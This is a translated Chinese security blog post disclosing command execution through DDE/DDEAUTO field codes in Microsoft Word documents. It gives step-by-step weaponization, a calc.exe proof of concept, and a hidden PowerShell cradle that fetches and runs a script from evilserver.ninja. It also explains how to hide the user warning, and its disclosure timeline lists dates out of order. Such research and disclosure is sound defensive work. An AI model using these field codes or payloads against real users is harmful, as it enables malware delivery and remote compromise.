【技术分享】微软 Office Word 无宏命令执行漏洞

http://p5.qhimg.com/t01fd160130d2eaeb76.jpg

译者:myles007

预估稿费:120RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


前言

如果我们告诉你,在MS-Word上存在一种命令执行漏洞,其不需要任何宏或者内存溢出,会怎么样呢?

Windows 为应用之间进行数据传输提供了多种传输方式,其中一种叫做动态交换协议,我们简称它为DDE协议。DDE协议其实就是一套信息与指导参考。它在共享数据的应用程序之间发送消息,并使用共享内存在应用程序之间进行数据交换。应用程序可以使用DDE协议进行一次性数据传输和持续交换,应用程序在新的数据可用时,会将更新发送给彼此。

在我们下面的文档当中,我们用通过执行一个应用运行DDE协议,以此来为我们提供一个案例展现。在之前的贴子中,我们讨论过在MS-Excel中使用DDE获取命令执行,并且在使用此方法绕过了宏过滤邮件安全网关和企业VBA的策略方面获得成功。DDE不仅限于Excel中可以使用,在Word中也具有DDE功能,当然关于这2个功能的可能获取命令执行的途径,之前已经有人提出过,但是就我们所知,到目前为止还没有人实际证明过这一点。

DDE and Office

艾蒂安和我正在研究一些有趣的COM对象,特别是与MS-Office有关的内容,其中最有意思的是我们发现COM方法在进行DDE初始化与DDE执行时都会被MS-Excel和MS-Word所暴露。自从MS-Excel给我们提供了命令执行,我们就决定踏上发现之旅,正式开始去发现如何在MSWord上使用DDE和如何在其上面实现命令执行。

进过不懈的努力,我们终于弄明白了如何在MS-Word上使用DDE。首先,我们在添加‘字段’上进行操作,请按照以下几个步骤进行操作即可。

插入 - 文档部件 - 域

http://p6.qhimg.com/t01050da4dd2a4b358e.png

选择 =(Formula) ,然后点击确认

http://p6.qhimg.com/t01ba9b248f7bbc009f.png

之后,你应该会看到在文档中插入一个字段,并显示错误“!异常的公式结尾”,右键单击“此字段”,然后选择“切换字段代码”。

http://p9.qhimg.com/t01479d932be97d401c.png

http://p9.qhimg.com/t01a27b0381b877f00f.png

字段代码此时会显示出来,我们按照下面代码的内容,替换默认字段区域的代码;

{DDEAUTO c:\windows\system32\cmd.exe "/k calc.exe"  }

DDEAUTO 关键字会通知MS-Word这是一个DDE字段,并会在文档打开时自动自行,第二部分代码内容是分为两段,第一段内容为要执行的可执行文件的完整路径,第二段引号之间的内容是传递一个可执行程序(执行calc.exe)。

http://p9.qhimg.com/t0184a2731e6b935456.png

另一种方法是使用: CTRL+F9 直接创建一个空的字段标识符,然后直接插入上面的 DDE 测试代码。

然后将文档保存为正常的Word文档“.docx”,并在任何机器上打开它。

http://p2.qhimg.com/t010a23b98627dc65b5.png

第一个警告弹窗是更新文档链接,并没有任何恶意内容。

http://p5.qhimg.com/t01abc759481f5c9c3c.png

第二个提示要求用户是否需要执行指定的应用程序,到目前为止我们可以认为这是一个安全告警,仅是要求用户执行“cmd.exe”,这里我们可以通过相应的语法修改后隐藏它。

http://p7.qhimg.com/t019685a6da9bc68897.png

当受害者点击此文档时,看到没…大笑(yinxiao…)

http://p3.qhimg.com/t01207eabef98373cde.png

这还不是最棒的,最漂亮的事情是,我们对此文档进行安全监测,发现竟然没任何有关宏或者其他恶意的安全告警…,所以…哈哈…大笑三声…剩下的大家自己意淫吧….

http://p9.qhimg.com/t0119217e9a667005f1.png

Shells

为了给大家展现一个POC,我们编制了一个使用Empire攻击器的演示视频,跟上面一样在进行进行安全扫描验证后,我们给出了下面的Payload。

{ DDEAUTO c:\Windows\System32\cmd.exe "/k powershell.exe -NoP -sta -NonI -W Hidden $e=(New-Object System.Net.WebClient).DownloadString('http://evilserver.ninja/pp.ps1');powershell -e $e "}

视频演示:

文档最后

我们使用“DDE”字段标识符同样可以实现相同效果:

{DDE "c:\windows\system32\cmd.exe" "/c notepad" }

但是呢,你需要对.docx进行相应的修改,以启用其自动链接更新。为此,请在文档管理器中打开.docx并设置word/settings.xml,最后在将下面的XML标签插入到docPr元素中。

<w:updateFields w:val="true"/>

保存文档更新设置,此时Word会弹出自动更新链接的提示,与之前的提示稍有不同,但与前面的DDEAUTO的效果完全相同。

漏洞披露时间表

2017/08/23 – Reported to Microsoft to see if they are interested in a fix. 

2017/08/23 – Microsoft responded that they successfully reproduced the issue and ask for more details. 

2017/09/26 – Microsoft responded that as suggested it is a feature and no further action will be taken, and will be considered for a next-version candidate bug. 

2017/09/10 – Public blog post

其他资源

https://sensepost.com/blog/2016/powershell-c-sharp-and-dde-the-power-within/ 

http://pwndizzle.blogspot.com.es/2017/03/office-document-macros-ole-actions-dde.html 

(完)